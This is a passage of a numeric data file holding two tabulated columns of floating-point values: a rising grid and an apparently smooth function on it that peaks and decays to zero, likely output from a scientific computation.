0.1184906321569069E+01\n  0.1200231768865166E+01  0.1215607155361878E+01  0.1231032899066835E+01  0.1246509416305429E+01  0.1262037121722220E+01\n  0.1277616428282728E+01  0.1293247747275209E+01  0.1308931488312698E+01  0.1324668059335260E+01  0.1340457866612423E+01\n  0.1356301314745660E+01  0.1372198806671151E+01  0.1388150743662683E+01  0.1404157525334607E+01  0.1420219549645083E+01\n  0.1436337212899343E+01  0.1452510909753110E+01  0.1468741033216232E+01  0.1485027974656301E+01  0.1501372123802541E+01\n  0.1517773868749642E+01  0.1534233595961925E+01  0.1550751690277352E+01  0.1567328534911856E+01  0.1583964511463701E+01\n  0.1600659999917852E+01  0.1617415378650525E+01  0.1634231024433875E+01  0.1651107312440629E+01  0.1668044616248917E+01\n  0.1685043307847061E+01  0.1702103757638609E+01  0.1719226334447252E+01  0.1736411405521971E+01  0.1753659336542133E+01\n  0.1770970491622715E+01  0.1788345233319539E+01  0.1805783922634601E+01  0.1823286919021478E+01  0.1840854580390711E+01\n  0.1858487263115261E+01  0.1876185322036066E+01  0.1893949110467636E+01  0.1911778980203568E+01  0.1929675281522265E+01\n  0.1947638363192579E+01  0.1965668572479554E+01  0.1983766255150165E+01  0.2001931755479132E+01  0.2020165416254637E+01\n  0.2038467578784327E+01  0.2056838582901055E+01  0.2075278766968794E+01  0.2093788467888599E+01  0.2112368021104497E+01\n  0.2131017760609439E+01  0.2149738018951330E+01  0.2168529127238993E+01  0.2187391415148134E+01  0.2206325210927415E+01\n  0.2225330841404466E+01  0.2244408631991916E+01  0.2263558906693465E+01  0.2282781988109954E+01  0.2302078197445396E+01\n  0.2321447854513099E+01  0.2340891277741691E+01  0.2360408784181265E+01  0.2380000689509425E+01  0.2399667308037372E+01\n  0.2419408952716023E+01  0.2439225935142099E+01  0.2459118565564146E+01  0.2479087152888749E+01  0.2499132004686517E+01\n  0.2519253427198186E+01  0.2539451725340665E+01  0.2559727202713198E+01  0.2580080161603353E+01  0.2600510902993117E+01\n  0.2621019726564874E+01  0.2641606930707586E+01  0.2662272812522710E+01  0.2683017667830213E+01  0.2703841791174714E+01\n  0.2724745475831364E+01  0.2745729013811853E+01  0.2766792695870475E+01  0.2787936811510058E+01  0.2809161648987794E+01\n  0.2830467495321410E+01  0.2851854636294917E+01  0.2873323356464579E+01  0.2894873939164848E+01  0.2916506666514209E+01\n  0.2938221819421049E+01  0.2960019677589501E+01  0.2981900519525381E+01  0.3003864622541801E+01  0.3025912262765175E+01\n  0.3048043715140940E+01  0.3070259253439192E+01  0.3092559150260705E+01  0.3114943677042409E+01  0.3137413104063187E+01\n  0.3159967700449641E+01  0.3182607734181641E+01  0.3205333472098077E+01  0.3228145179902447E+01  0.3251043122168472E+01\n  0.3274027562345680E+01  0.3297098762765072E+01  0.3320256984644469E+01  0.3343502488094288E+01  0.3366835532122889E+01\n  0.3390256374642066E+01  0.3413765272472630E+01  0.3437362481349784E+01  0.3461048255928476E+01  0.3484822849788961E+01\n  0.3508686515442005E+01  0.3532639504334363E+01  0.3556682066854127E+01  0.3580814452335925E+01  0.3605036909066328E+01\n  0.3629349684289036E+01  0.3653753024210198E+01  0.3678247174003544E+01  0.3702832377815693E+01  0.3727508878771226E+01\n  0.3752276918977883E+01  0.3777136739531759E+01  0.3802088580522303E+01  0.3827132681037432E+01  0.3852269279168641E+01\n  0.3877498612015998E+01  0.3902820915693174E+01  0.3928236425332438E+01  0.3953745375089617E+01  0.3979347998149013E+01\n  0.4005044526728421E+01  0.4030835192083855E+01  0.4056720224514617E+01  0.4082699853368021E+01  0.4108774307044248E+01\n  0.4134943813001183E+01  0.4161208597759163E+01  0.4187568886905720E+01  0.4214024905100390E+01  0.4240576876079345E+01\n  0.4267225022660046E+01  0.4293969566746052E+01  0.4320810729331575E+01  0.4347748730506037E+01  0.4374783789458776E+01\n  0.4401916124483547E+01  0.4429145952983095E+01  0.4456473491473638E+01  0.4483898955589500E+01  0.4511422560087357E+01\n  0.4539044518850936E+01  0.4566765044895316E+01  0.4594584350371322E+01  0.4622502646570012E+01  0.4650520143926894E+01\n  0.4678637052026418E+01  0.4706853579606230E+01  0.4735169934561444E+01  0.4763586323948928E+01  0.4792102953991607E+01\n  0.4820720030082579E+01  0.4849437756789456E+01  0.4878256337858449E+01  0.4907175976218555E+01  0.4936196873985707E+01\n  0.4965319232466936E+01  0.4994543252164328E+01  0.5023869132779231E+01  0.5053297073216303E+01  0.5082827271587405E+01\n  0.5112459925215758E+01  0.5142195230639895E+01  0.5172033383617539E+01  0.5201974579129658E+01  0.5232019011384368E+01\n  0.5262166873820703E+01  0.5292418359112656E+01  0.5322773659173003E+01  0.5353232965157039E+01  0.5383796467466556E+01\n  0.5414464355753495E+01  0.5445236818923759E+01  0.5476114045141041E+01  0.5507096221830388E+01  0.5538183535682169E+01\n  0.5569376172655497E+01  0.5600674317982096E+01  0.5632078156169850E+01  0.5663587871006478E+01  0.5695203645563089E+01\n  0.5726925662197861E+01  0.5758754102559550E+01  0.5790689147591050E+01  0.5822730977532937E+01  0.5854879771926981E+01\n  0.5887135709619618E+01  0.5919498968765412E+01  0.5951969726830611E+01  0.5984548160596443E+01  0.6017234446162569E+01\n  0.6050028758950551E+01  0.6082931273707150E+01  0.6115942164507743E+01  0.6149061604759621E+01  0.6182289767205272E+01\n  0.6215626823925810E+01  0.6249072946344119E+01  0.6282628305228231E+01  0.6316293070694456E+01  0.6350067412210745E+01\n  0.6383951498599807E+01  0.6417945498042277E+01  0.6452049578080040E+01  0.6486263905619155E+01  0.6520588646933274E+01\n  0.6555023967666467E+01  0.6589570032836555E+01  0.6624227006838173E+01  0.6658995053445667E+01  0.6693874335816274E+01\n  0.6728865016493213E+01  0.6763967257408575E+01  0.6799181219886369E+01  0.6834507064645582E+01  0.6869944951802993E+01\n  0.6905495040876272E+01  0.6941157490786817E+01  0.6976932459862688E+01  0.7012820105841560E+01  0.7048820585873601E+01\n  0.7084934056524147E+01  0.7121160673776924E+01  0.7157500593036525E+01  0.7193953969131448E+01  0.7230520956316742E+01\n  0.7267201708277015E+01  0.7303996378128941E+01  0.7340905118424199E+01  0.7377928081152227E+01  0.7415065417742714E+01\n  0.7452317279068625E+01  0.7489683815448713E+01  0.7527165176650154E+01  0.7564761511891398E+01  0.7602472969844660E+01\n  0.7640299698638533E+01  0.7678241845860797E+01  0.7716299558560847E+01  0.7754472983252295E+01  0.7792762265915677E+01\n  0.7831167552000825E+01  0.7869688986429596E+01  0.7908326713598298E+01  0.7947080877380213E+01  0.7985951621128103E+01\n  0.8024939087676790E+01  0.8064043419345456E+01  0.8103264757940238E+01  0.8142603244756712E+01  0.8182059020582113E+01\n  0.8221632225698052E+01  0.8261322999882655E+01  0.8301131482413128E+01  0.8341057812068073E+01  0.8381102127129775E+01\n  0.8421264565386728E+01  0.8461545264135914E+01  0.8501944360185011E+01  0.8542461989854800E+01  0.8583098288981544E+01\n  0.8623853392919127E+01  0.8664727436541362E+01  0.8705720554244369E+01  0.8746832879948686E+01  0.8788064547101555E+01\n  0.8829415688679173E+01  0.8870886437188865E+01  0.8912476924671346E+01  0.8954187282702780E+01  0.8996017642397092E+01\n  0.9037968134408045E+01  0.9080038888931480E+01  0.9122230035707283E+01  0.9164541704021747E+01  0.9206974022709504E+01\n  0.9249527120155676E+01  0.9292201124297971E+01  0.9334996162628819E+01  0.9377912362197343E+01  0.9420949849611493E+01\n  0.9464108751040072E+01  0.9507389192214658E+01  0.9550791298431900E+01  0.9594315194555200E+01  0.9637961005016923E+01\n  0.9681728853820376E+01  0.9725618864541687E+01  0.9769631160331837E+01  0.9813765863918640E+01  0.9858023097608644E+01\n  0.9902402983288997E+01  0.9946905642429570E+01  0.9991531196084678E+01  0.1003627976489508E+02  0.1008115146908984E+02\n  0.1012614642848822E+02  0.1017126476250151E+02  0.1021650659013498E+02  0.1026187202998970E+02  0.1030736120026423E+02\n  0.1035297421875671E+02  0.1039871120286647E+02  0.1044457226959594E+02  0.1049055753555247E+02  0.1053666711695001E+02\n  0.1058290112961095E+02  0.1062925968896805E+02  0.1067574291006588E+02  0.1072235090756281E+02  0.1076908379573268E+02\n  0.1081594168846656E+02  0.1086292469927445E+02  0.1091003294128697E+02  0.1095726652725712E+02  0.1100462556956189E+02\n  0.1105211018020406E+02  0.1109972047081387E+02  0.1114745655265044E+02  0.1119531853660384E+02  0.1124330653319640E+02\n  0.1129142065258453E+02  0.1133966100456022E+02  0.1138802769855287E+02  0.1143652084363064E+02  0.1148514054850226E+02\n  0.1153388692151854E+02  0.1158276007067394E+02  0.1163176010360828E+02  0.1168088712760808E+02  0.1173014124960834E+02\n  0.1177952257619401E+02  0.1182903121360145E+02  0.1187866726772023E+02  0.1192843084409426E+02  0.1197832204792367E+02\n  0.1202834098406616E+02  0.1207848775703852E+02  0.1212876247101815E+02  0.1217916522984446E+02  0.1222969613702057E+02\n  0.1228035529571446E+02  0.1233114280876082E+02  0.1238205877866202E+02  0.1243310330759011E+02  0.1248427649738783E+02\n  0.1253557844957024E+02  0.1258700926532612E+02  0.1263856904551937E+02  0.1269025789069041E+02  0.1274207590105764E+02\n  0.1279402317651873E+02  0.1284609981665210E+02  0.1289830592071831E+02  0.1295064158766139E+02  0.1300310691611016E+02\n  0.1305570200437972E+02  0.1310842695047267E+02  0.1316128185208051E+02  0.1321426680658502E+02  0.1326738191105951E+02\n  0.1332062726227020E+02  0.1337400295667756E+02  0.1342750909043750E+02  0.1348114575940276E+02  0.1353491305912430E+02\n  0.1358881108485235E+02  0.1364283993153797E+02  0.1369699969383405E+02  0.1375129046609678E+02  0.1380571234238685E+02\n  0.1386026541647074E+02  0.1391494978182183E+02  0.1396976553162181E+02  0.1402471275876187E+02  0.1407979155584384E+02\n  0.1413500201518157E+02  0.1419034422880200E+02  0.1424581828844641E+02  0.1430142428557176E+02  0.1435716231135165E+02\n  0.1441303245667767E+02  0.1446903481216061E+02  0.1452516946813144E+02  0.1458143651464284E+02  0.1463783604146995E+02\n  0.1469436813811187E+02  0.1475103289379257E+02  0.1480783039746221E+02  0.1486476073779820E+02  0.1492182400320636E+02\n  0.1497902028182210E+02  0.1503634966151138E+02  0.1509381222987208E+02  0.1515140807423487E+02  0.1520913728166454E+02\n  0.1526699993896084E+02  0.1532499613265989E+02  0.1538312594903494E+02  0.1544138947409778E+02  0.1549978679359965E+02\n  0.1555831799303221E+02  0.1561698315762881E+02  0.1567578237236552E+02  0.1573471572196207E+02  0.1579378329088299E+02\n  0.1585298516333866E+02  0.1591232142328633E+02  0.1597179215443117E+02  0.1603139744022732E+02  0.1609113736387884E+02\n  0.1615101200834081E+02  0.1621102145632030E+02  0.1627116579027744E+02  0.1633144509242638E+02  0.1639185944473622E+02\n  0.1645240892893225E+02  0.1651309362649662E+02  0.1657391361866950E+02  0.1663486898645014E+02  0.1669595981059768E+02\n  0.1675718617163216E+02  0.1681854814983560E+02  0.1688004582525278E+02  0.1694167927769237E+02  0.1700344858672776E+02\n  0.1706535383169809E+02  0.1712739509170910E+02  0.1718957244563422E+02  0.1725188597211529E+02  0.1731433574956364E+02\n  0.1737692185616106E+02  0.1743964436986050E+02  0.1750250336838723E+02  0.1756549892923954E+02  0.1762863112968988E+02\n  0.1769190004678551E+02  0.1775530575734953E+02  0.1781884833798184E+02  0.1788252786505983E+02  0.1794634441473943E+02\n  0.1801029806295595E+02  0.1807438888542495E+02  0.1813861695764293E+02  0.1820298235488868E+02  0.1826748515222356E+02\n  0.1833212542449270E+02  0.1839690324632588E+02  0.1846181869213811E+02  0.1852687183613067E+02  0.1859206275229210E+02\n  0.1865739151439864E+02  0.1872285819601541E+02  0.1878846287049704E+02  0.1885420561098861E+02  0.1892008649042634E+02\n  0.1898610558153868E+02  0.1905226295684672E+02  0.1911855868866527E+02  0.1918499284910370E+02  0.1925156551006659E+02\n  0.1931827674325448E+02  0.1938512662016491E+02  0.1945211521209302E+02  0.1951924259013235E+02  0.1958650882517566E+02\n  0.1965391398791571E+02  0.1972145814884597E+02  0.1978914137826159E+02  0.1985696374625988E+02  0.1992492532274116E+02\n  0.1999302617740977E+02  0.2006126637977442E+02  0.2012964599914926E+02  0.2019816510465454E+02  0.2026682376521724E+02\n  0.2033562204957191E+02  0.2040456002626147E+02  0.2047363776363781E+02  0.2054285532986256E+02  0.2061221279290795E+02\n  0.2068171022055733E+02  0.2075134768040595E+02  0.2082112523986171E+02  0.2089104296614605E+02  0.2096110092629424E+02\n  0.2103129918715649E+02  0.2110163781539841E+02  0.2117211687750176E+02  0.2124273643976533E+02  0.2131349656830528E+02\n  0.2138439732905617E+02  0.2145543878777140E+02  0.2152662101002412E+02  0.2159794406120766E+02  0.2166940800653642E+02\n  0.2174101291104644E+02  0.2181275883959610E+02  0.2188464585686669E+02  0.2195667402736326E+02  0.2202884341541514E+02\n  0.2210115408517663E+02  0.2217360610062771E+02  0.2224619952557461E+02  0.2231893442365038E+02  0.2239181085831591E+02\n  0.2246482889286010E+02  0.2253798859040076E+02  0.2261129001388523E+02  0.2268473322609096E+02  0.2275831828962614E+02\n  0.2283204526693043E+02  0.2290591422027539E+02  0.2297992521176526E+02  0.2305407830333766E+02  0.2312837355676387E+02\n  0.2320281103364977E+02  0.2327739079543636E+02  0.2335211290340030E+02  0.2342697741865454E+02  0.2350198440214897E+02\n  0.2357713391467102E+02  0.2365242601684612E+02  0.2372786076913854E+02  0.2380343823185174E+02  0.2387915846512908E+02\n  0.2395502152895441E+02  0.2403102748315263E+02  0.2410717638739019E+02  0.2418346830117586E+02  0.2425990328386112E+02\n  0.2433648139464079E+02  0.2441320269255370E+02  0.2449006723648306E+02  0.2456707508515719E+02  0.2464422629715007E+02\n  0.2472152093088173E+02  0.2479895904461906E+02  0.2487654069647616E+02  0.2495426594441500E+02  0.2503213484624594E+02\n  0.2511014745962827E+02  0.2518830384207072E+02  0.2526660405093208E+02  0.2534504814342175E+02  0.2542363617660013E+02\n  0.2550236820737923E+02  0.2558124429252339E+02  0.2566026448864954E+02  0.2573942885222773E+02  0.2581873743958190E+02\n  0.2589819030689023E+02  0.2597778751018570E+02  0.2605752910535647E+02  0.2613741514814674E+02  0.2621744569415681E+02\n  0.2629762079884404E+02  0.2637794051752302E+02  0.2645840490536618E+02  0.2653901401740439E+02  0.2661976790852737E+02\n  0.2670066663348421E+02  0.2678171024688378E+02  0.2686289880319548E+02  0.2694423235674941E+02  0.2702571096173704E+02\n  0.2710733467221175E+02  0.2718910354208919E+02  0.2727101762514775E+02  0.2735307697502924E+02  0.2743528164523912E+02\n  0.2751763168914713E+02  0.2760012715998774E+02  0.2768276811086066E+02  0.2776555459473111E+02  0.2784848666443062E+02\n  0.2793156437265721E+02  0.2801478777197602E+02  0.2809815691481973E+02  0.2818167185348894E+02  0.2826533264015273E+02\n  0.2834913932684915E+02  0.2843309196548557E+02  0.2851719060783909E+02  0.2860143530555727E+02  0.2868582611015826E+02\n  0.2877036307303130E+02  0.2885504624543746E+02  0.2893987567850965E+02  0.2902485142325337E+02  0.2910997353054712E+02\n  0.2919524205114265E+02  0.2928065703566552E+02  0.2936621853461569E+02  0.2945192659836760E+02  0.2953778127717089E+02\n  0.2962378262115081E+02  0.2970993068030837E+02  0.2979622550452115E+02  0.2988266714354346E+02  0.2996925564700682E+02\n  0.3005599106442041E+02  0.3014287344517153E+02  0.3022990283852592E+02  0.3031707929362812E+02  0.3040440285950215E+02\n  0.3049187358505165E+02  0.3057949151906041E+02  0.3066725671019266E+02  0.3075516920699371E+02  0.3084322905789012E+02\n  0.3093143631119021E+02  0.3101979101508448E+02  0.3110829321764588E+02  0.3119694296683040E+02  0.3128574031047729E+02\n  0.3137468529630954E+02  0.3146377797193422E+02  0.3155301838484299E+02  0.3164240658241237E+02  0.3173194261190401E+02\n  0.3182162652046552E+02  0.3191145835513032E+02  0.3200143816281827E+02  0.3209156599033621E+02  0.3218184188437798E+02\n  0.3227226589152506E+02  0.3236283805824685E+02  0.3245355843090114E+02  0.3254442705573426E+02  0.3263544397888169E+02\n  0.3272660924636835E+02  0.3281792290410885E+02  0.3290938499790812E+02  0.3300099557346138E+02  0.3309275467635493E+02\n  0.3318466235206626E+02  0.3327671864596444E+02  0.3336892360331044E+02  0.3346127726925774E+02  0.3355377968885226E+02\n  0.3364643090703304E+02  0.3373923096863262E+02  0.3383217991837713E+02  0.3392527780088678E+02  0.3401852466067623E+02\n  0.3411192054215498E+02  0.3420546548962749E+02  0.3429915954729392E+02  0.3439300275925001E+02  0.3448699516948774E+02\n  0.3458113682189561E+02  0.3467542776025882E+02  0.3476986802825981E+02  0.3486445766947862E+02  0.3495919672739288E+02\n  0.3505408524537850E+02  0.3514912326671002E+02  0.3524431083456054E+02  0.3533964799200239E+02  0.3543513478200754E+02\n  0.3553077124744756E+02  0.3562655743109424E+02  0.3572249337561980E+02  0.3581857912359721E+02  0.3591481471750058E+02\n  0.3601120019970533E+02  0.3610773561248870E+02  0.3620442099802995E+02  0.3630125639841068E+02  0.3639824185561516E+02\n  0.3649537741153064E+02  0.3659266310794771E+02  0.3669009898656054E+02  0.3678768508896718E+02  0.3688542145666988E+02\n  0.3698330813107555E+02  0.3708134515349577E+02  0.3717938217591600E+02  0.3727741919833622E+02  0.3737545622075644E+02\n  0.0000000000000000E+00  0.8576998932607242E-09  0.5148474978702150E-07  0.5500333859843751E-06  0.2898571356744415E-05\n  0.1037065667137954E-04  0.2904394432880980E-04  0.6869069328866988E-04  0.1435525383839498E-03  0.2729524897641136E-03\n  0.4817179545381958E-03  0.8004046139757985E-03  0.1265323067409609E-02  0.1918378981427738E-02  0.2806743664553777E-02\n  0.3982376035816319E-02  0.5501419303057878E-02  0.7423496677200373E-02  0.9810930426149240E-02  0.1272790776956854E-01\n  0.1623961574245743E-01  0.2041136538278681E-01  0.2530772356585144E-01  0.3099166862766308E-01  0.3752378368081732E-01\n  0.4496149929855063E-01  0.5335839507962672E-01  0.6276356754813610E-01  0.7322106991690198E-01  0.8476942747035206E-01\n  0.9744123071429918E-01  0.1112628070018588E+00  0.1262539700776599E+00  0.1424278458837341E+00  0.1597907720342443E+00\n  0.1783422675846084E+00  0.1980750690841191E+00  0.2189752283993167E+00  0.2410222674169928E+00  0.2641893844693322E+00\n  0.2884437071578631E+00  0.3137465861762969E+00  0.3400539247340754E+00  0.3673165382520538E+00  0.3954805391293457E+00\n  0.4244877415567311E+00  0.4542760815685687E+00  0.4847800477740307E+00  0.5159311184824792E+00  0.5476582012304797E+00\n  0.5798880710234582E+00  0.6125458039182285E+00  0.6455552028889719E+00  0.6788392132348257E+00  0.7123203250985853E+00\n  0.7459209609702914E+00  0.7795638463441852E+00  0.8131723619807327E+00  0.8466708764954843E+00  0.8799850582522438E+00\n  0.9130421657784031E+00  0.9457713161447614E+00  0.9781037309602292E+00  0.1009972959823397E+01  0.1041315081248019E+01\n  0.1072068881238206E+01  0.1102176009831869E+01  0.1131581116058128E+01  0.1160231961866557E+01  0.1188079515683897E+01\n  0.1215078026337852E+01  0.1241185078158618E+01  0.1266361628127532E+01  0.1290572025989520E+01  0.1313784018282635E+01\n  0.1335968737264703E+01  0.1357100675734715E+01  0.1377157648755932E+01  0.1396120743289401E+01  0.1413974256741546E+01\n  0.1430705625418266E+01  0.1446305343861415E+01  0.1460766876022088E+01  0.1474086559199635E+01  0.1486263501646126E+01\n  0.1497299474703849E+01  0.1507198800308697E+01  0.1515968234655533E+01  0.1523616848783268E+01  0.1530155906797786E+01\n  0.1535598742410441E+01  0.1539960634428920E+01  0.1543258681796175E+01  0.1545511678732089E+01  0.1546739990491811E+01\n  0.1546965430214609E+01  0.1546211137297620E+01  0.1544501457690412E+01  0.1541861826468803E+01  0.1538318653010165E+01\n  0.1533899209057386E+01  0.1528631519925127E+01  0.1522544259069783E+01  0.1515666646213862E+01  0.1508028349186392E+01\n  0.1499659389613263E+01  0.1490590052565443E+01  0.1480850800248451E+01  0.1470472189793603E+01  0.1459484795190111E+01\n  0.1447919133377286E+01  0.1435805594497667E+01  0.1423174376295045E+01  0.1410055422625766E+01  0.1396478366037582E+01\n  0.1382472474357517E+01  0.1368066601218609E+01  0.1353289140445096E+01  0.1338167984206406E+01  0.1322730484842268E+01\n  0.1307003420254224E+01  0.1291012962752784E+01  0.1274784651244435E+01  0.1258343366638420E+01  0.1241713310349911E+01\n  0.1224917985773531E+01  0.1207980182599308E+01  0.1190921963841912E+01  0.1173764655453436E+01  0.1156528838389896E+01\n  0.1139234343002130E+01  0.1121900245622720E+01  0.1104544867221897E+01  0.1087185774007220E+01  0.1069839779843846E+01\n  0.1052522950374696E+01  0.1035250608722480E+01  0.1018037342658465E+01  0.1000897013126039E+01  0.9838427640104167E+00\n  0.9668870330493002E+00  0.9500415637828995E+00  0.9333174184453955E+00  0.9167249917036894E+00  0.9002740251531050E+00\n  0.8839736224835302E+00  0.8678322652333790E+00  0.8518578290525983E+00  0.8360576003997890E+00  0.8204382936023470E+00\n  0.8050060682122852E+00  0.7897665465941298E+00  0.7747248316849636E+00  0.7598855248702404E+00  0.7452527439225495E+00\n  0.7308301409539072E+00  0.7166209203354966E+00  0.7026278565420246E+00  0.6888533118809829E+00  0.6752992540701540E+00\n  0.6619672736296282E+00  0.6488586010574048E+00  0.6359741237603777E+00  0.6233144027150980E+00  0.6108796888351882E+00\n  0.5986699390246809E+00  0.5866848318987949E+00  0.5749237831558405E+00  0.5633859605859940E+00  0.5520702987046087E+00\n  0.5409755129995881E+00  0.5301001137840697E+00  0.5194424196473048E+00  0.5090005704981659E+00  0.4987725401971368E+00\n  0.4887561487740056E+00  0.4789490742297346E+00  0.4693488639221445E+00  0.4599529455361500E+00  0.4507586376402879E+00\n  0.4417631598321903E+00  0.4329636424765457E+00  0.4243571360398264E+00  0.4159406200268177E+00  0.4077110115246057E+00\n  0.3996651733602655E+00  0.3917999218790373E+00  0.3841120343502322E+00  0.3765982560085148E+00  0.3692553067386082E+00\n  0.3620798874117488E+00  0.3550686858825059E+00  0.3482183826548197E+00  0.3415256562262722E+00  0.3349871881197929E+00\n  0.3285996676120873E+00  0.3223597961681734E+00  0.3162642915914723E+00  0.3103098918988991E+00  0.3044933589304323E+00\n  0.2988114817025848E+00  0.2932610795151651E+00  0.2878390048206519E+00  0.2825421458654130E+00  0.2773674291118858E+00\n  0.2723118214507413E+00  0.2673723322118953E+00  0.2625460149830915E+00  0.2578299692446370E+00  0.2532213418286768E+00\n  0.2487173282112436E+00  0.2443151736451206E+00  0.2400121741413617E+00  0.2358056773071348E+00  0.2316930830473297E+00\n  0.2276718441371882E+00  0.2237394666729961E+00  0.2198935104076650E+00  0.2161315889778330E+00  0.2124513700288889E+00\n  0.2088505752441177E+00  0.2053269802839583E+00  0.2018784146411472E+00  0.1985027614173130E+00  0.1951979570263882E+00\n  0.1919619908299856E+00  0.1887929047096988E+00  0.1856887925810768E+00  0.1826477998538276E+00  0.1796681228426198E+00\n  0.1767480081326520E+00  0.1738857519039822E+00  0.1710796992184251E+00  0.1683282432726463E+00  0.1656298246209137E+00\n  0.1629829303707959E+00  0.1603860933549304E+00  0.1578378912818327E+00  0.1553369458685551E+00  0.1528819219578573E+00\n  0.1504715266224071E+00  0.1481045082583851E+00  0.1457796556707337E+00  0.1434957971521608E+00  0.1412517995578756E+00\n  0.1390465673779208E+00  0.1368790418088395E+00  0.1347481998263070E+00  0.1326530532602482E+00  0.1305926478738530E+00\n  0.1285660624478085E+00  0.1265724078709661E+00  0.1246108262385681E+00  0.1226804899590787E+00  0.1207806008705706E+00\n  0.1189103893675429E+00  0.1170691135389732E+00  0.1152560583183238E+00  0.1134705346461653E+00  0.1117118786460041E+00\n  0.1099794508138442E+00  0.1082726352219536E+00  0.1065908387372449E+00  0.1049334902546352E+00  0.1033000399456902E+00\n  0.1016899585228177E+00  0.1001027365192277E+00  0.9853788358483354E-01  0.9699492779823146E-01  0.9547341499485665E-01\n  0.9397290811138079E-01  0.9249298654638069E-01  0.9103324553728220E-01  0.8959329555354877E-01  0.8817276170606399E-01\n  0.8677128317262857E-01  0.8538851263947052E-01  0.8402411575864875E-01  0.8267777062120664E-01  0.8134916724591848E-01\n  0.8003800708345375E-01  0.7874400253576731E-01  0.7746687649051477E-01  0.7620636187027600E-01  0.7496220119635953E-01\n  0.7373414616695294E-01  0.7252195724937327E-01  0.7132540328616367E-01  0.7014426111477837E-01  0.6897831520058859E-01\n  0.6782735728294027E-01  0.6669118603398869E-01  0.6556960673003079E-01  0.6446243093505667E-01  0.6336947619623536E-01\n  0.6229056575105237E-01  0.6122552824581402E-01  0.6017419746523230E-01  0.5913641207280737E-01  0.5811201536172281E-01\n  0.5710085501597033E-01  0.5610278288142408E-01  0.5511765474658521E-01  0.5414533013271837E-01  0.5318567209310896E-01\n  0.5223854702116695E-01  0.5130382446711163E-01  0.5038137696297216E-01  0.4947107985564236E-01  0.4857281114773465E-01\n  0.4768645134597841E-01  0.4681188331691594E-01  0.4594899214965088E-01  0.4509766502540915E-01  0.4425779109367826E-01\n  0.4342926135469399E-01  0.4261196854804814E-01  0.4180580704719781E-01  0.4101067275965932E-01  0.4022646303267519E-01\n  0.3945307656414969E-01  0.3869041331864940E-01  0.3793837444827467E-01  0.3719686221820911E-01  0.3646577993676117E-01\n  0.3574503188971662E-01  0.3503452327882445E-01  0.3433416016424531E-01  0.3364384941079507E-01  0.3296349863782079E-01\n  0.3229301617255276E-01  0.3163231100677876E-01  0.3098129275669249E-01  0.3033987162577284E-01  0.2970795837055464E-01\n  0.2908546426915543E-01  0.2847230109242889E-01  0.2786838107761748E-01  0.2727361690438311E-01  0.2668792167309761E-01\n  0.2611120888527847E-01  0.2554339242606102E-01  0.2498438654859956E-01  0.2443410586029598E-01  0.2389246531075691E-01\n  0.2335938018138393E-01  0.2283476607650571E-01  0.2231853891596374E-01  0.2181061492906659E-01  0.2131091064983147E-01\n  0.2081934291343454E-01  0.2033582885379438E-01  0.1986028590221680E-01  0.1939263178703108E-01  0.1893278453415130E-01\n  0.1848066246849892E-01  0.1803618421622546E-01  0.1759926870767613E-01  0.1716983518103927E-01  0.1674780318662707E-01\n  0.1633309259173651E-01  0.1592562358604172E-01  0.1552531668746990E-01  0.1513209274851720E-01  0.1474587296296080E-01\n  0.1436657887292672E-01  0.1399413237627429E-01  0.1362845573426023E-01  0.1326947157944628E-01  0.1291710292381743E-01\n  0.1257127316707774E-01  0.1223190610509324E-01  0.1189892593845275E-01  0.1157225728111806E-01  0.1125182516913743E-01\n  0.1093755506939646E-01  0.1062937288838200E-01  0.1032720498093588E-01  0.1003097815897619E-01  0.9740619700164219E-02\n  0.9456057356497178E-02  0.9177219362806280E-02  0.8904034445141316E-02  0.8636431829023183E-02  0.8374341247546036E-02\n  0.8117692949311960E-02  0.7866417706180585E-02  0.7620446820816740E-02  0.7379712134019578E-02  0.7144146031816014E-02\n  0.6913681452302325E-02  0.6688251892216657E-02  0.6467791413225554E-02  0.6252234647907211E-02  0.6041516805413253E-02\n  0.5835573676791136E-02  0.5634341639947666E-02  0.5437757664233824E-02  0.5245759314629934E-02  0.5058284755509180E-02\n  0.4875272753955811E-02  0.4696662682613547E-02  0.4522394522037392E-02  0.4352408862520555E-02  0.4186646905366133E-02\n  0.4025050463570553E-02  0.3867561961883894E-02  0.3714124436208813E-02  0.3564681532297067E-02  0.3419177503699341E-02\n  0.3277557208920367E-02  0.3139766107727285E-02  0.3005750256555324E-02  0.2875456302949815E-02  0.2748831478978852E-02\n  0.2625823593545541E-02  0.2506381023522792E-02  0.2390452703627873E-02  0.2277988114946939E-02  0.2168937272013016E-02\n  0.2063250708333439E-02  0.1960879460254761E-02  0.1861775049045227E-02  0.1765889461065943E-02  0.1673175125893125E-02\n  0.1583584892244586E-02  0.1497072001553956E-02  0.1413590059026983E-02  0.1333093002004349E-02  0.1255535065446408E-02\n  0.1180870744346243E-02  0.1109054752869345E-02  0.1040041980010902E-02  0.9737874415562595E-03  0.9102462281261181E-03\n  0.8493734490870866E-03  0.7911241721104120E-03  0.7354533581681445E-03  0.6823157917680999E-03  0.6316660062474194E-03\n  0.5834582039715675E-03  0.5376461713226330E-03  0.4941831884102573E-03  0.4530219335027502E-03  0.4141143822583456E-03\n  0.3774117019399670E-03  0.3428641409258591E-03  0.3104209139870729E-03  0.2800300839961760E-03  0.2516384409654113E-03\n  0.2251913795924475E-03  0.2006327768245250E-03  0.1779048713433524E-03  0.1569481473297049E-03  0.1377012253937927E-03\n  0.1201007641585952E-03  0.1040813766598551E-03  0.8957556647504338E-04  0.7651368930508610E-04  0.6482394658893534E-04\n  0.5443241860150438E-04  0.4526314532314971E-04  0.3723826410463467E-04  0.3027821368846399E-04  0.2430201435404447E-04\n  0.1922763365777299E-04  0.1497244622116435E-04  0.1145379401469120E-04  0.8589650285013768E-05  0.6299385349542388E-05\n  0.4504625622961494E-05  0.3130188220885624E-05  0.2105062280742719E-05  0.1363395085845545E-05  0.8454270900288885E-06\n  0.4983067594254876E-06  0.2767065679872027E-06  0.1431594160449781E-06  0.6804490613003522E-07  0.2918182930693568E-07\n  0.1102919874006033E-07  0.3560261260656263E-08  0.9406176465862757E-09  0.1916420214061158E-09  0.2763777688791933E-10\n  0.2482312356945943E-11  0.1136644735947497E-12  0.1904831683752850E-14  0.6466043629846817E-17  0.1381172060080856E-20\n  0.1274303700193166E-26  0.2106088550891557E-38  0.1212886175035114E-71  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  